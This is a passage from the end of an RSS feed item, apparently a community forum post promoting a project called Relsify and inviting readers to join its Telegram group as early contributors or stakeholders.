&lt;p&gt;This is a rare oppurtunity to be an early contributor or stakeholder in something so innovative and disruptive, you are welcome to join the growing community here at &lt;a href="https://t.me/relsify%5C_official" rel="noopener noreferrer"&gt;https://t.me/relsify\_official&lt;/a&gt; come and be part of the ongoing &lt;em&gt;relsivolution&lt;/em&gt;! Thanks for your time.&lt;/p&gt;

</description>
      <category>watercooler</category>
      <category>discuss</category>
    </item>
  </channel>
</rss>
